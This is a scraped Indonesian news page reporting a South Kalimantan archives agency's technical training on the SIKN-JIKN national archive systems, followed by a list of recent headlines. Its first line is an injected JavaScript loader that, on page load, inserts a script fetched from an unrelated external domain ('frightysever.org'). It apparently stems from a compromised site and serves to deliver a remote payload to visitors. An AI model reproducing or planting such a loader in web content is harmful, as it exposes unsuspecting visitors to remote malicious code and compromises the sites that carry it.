(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dispersip Kalsel Menggelar Bimtek SIKN-JIKN


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar bimbingan teknis Sistem Informasi Kearsipan Nasional (SIKN) dan Jaringan Informasi Kearsipan Nasional (JIKN) di Banjarmasin, Selasa (24/10/2023).

Bimtek diikuti 73 orang yang berasal dari 13 lembaga kearsipan daerah kabupaten/kota di Kalsel dan dibimbing dua narasumber dari Arsip Nasional Republik Indonesia (ANRI).

“Terdiri dari admin, verifikator, kontributor, serta penanggungjawab aplikasi SIKN-JIKN 13 lembaga kearsipan daerah kabupaten atau kota di Provinsi Kalimantan Selatan,” ungkap Kadispersip Kalsel Dra Nurlianie Dardie usai membuka kegiatan, Selasa (24/10/2024) siang.

Baca juga: Perbaikan Pipa Bocor di Jalan Pramuka, Berikut Wilayah Terdampak Seret Air 12 Jam

Kadispersip Kalsel mengatakan, pihaknya sebagai Lembaga Kearsipan Daerah (LKD) bertanggung jawab dalam pengelolaan arsip statis atau menyelamatkan arsip-arsip yang bernilai guna kesejarahan melalui sistem SIKN dan JIKN.

Menurutnya, SIKN dan JIKN akan memberikan rupa nyata pada visi penyelenggaraan kearsipan nasional yang menjadikan arsip sebagai simpul pemersatu bangsa.

“Dengan menyediakan akses yang luas dan mudah terhadap arsip dinamis dan statis SIKN dan JIKN dengan sendirinya mendukung upaya penegakanhHak warga negara untuk memperoleh informasi,” ujarnya.

Baca juga: Gubernur Kalsel Terima Penghargaan Proklim 2023 dari Menteri LHK

Sementara itu, Ketua Tim Pengembangan Layanan Konten SIKN dan JIKN Arsip Nasional RI Agung Gede Sumardika mengatakan, SIKN dan JIKN merupakan sistem kearsipan yang berada dibawah kendali Arsip Nasional RI (ANRI).

Dijelakan, arsip yang telah di proses digatilsasi dapat di input oleh Lembaga Kearsipan Daerah melalui aplikasi SIKN, kemudian masyarakat dapat mengaksesnya melalui JIKN yang dikelola Arsip Nasional.

“Ini untuk hak asasi masyarakat sebenarnya, masyarakat bisa mudah mengaksesnya,”pungkasnya.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

DLH Banjarbaru Siapkan Antisipasi Sampah Jemaah Haul ke-20 Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More

4 jam ago

Cara Transaksi Lancar Saat Libur Natal 2024 dengan Layanan BRI

KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More

11 jam ago

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita

KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More

11 jam ago

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

13 jam ago

Wamen BUMN Cek Kesiapan SPKLU PLN Layani Kebutuhan Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More

13 jam ago

Diduga Sakit, Jasad Satpam Didapati Tak Bernyawa di Depan Bapelkes

KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More

14 jam ago

This website uses cookies.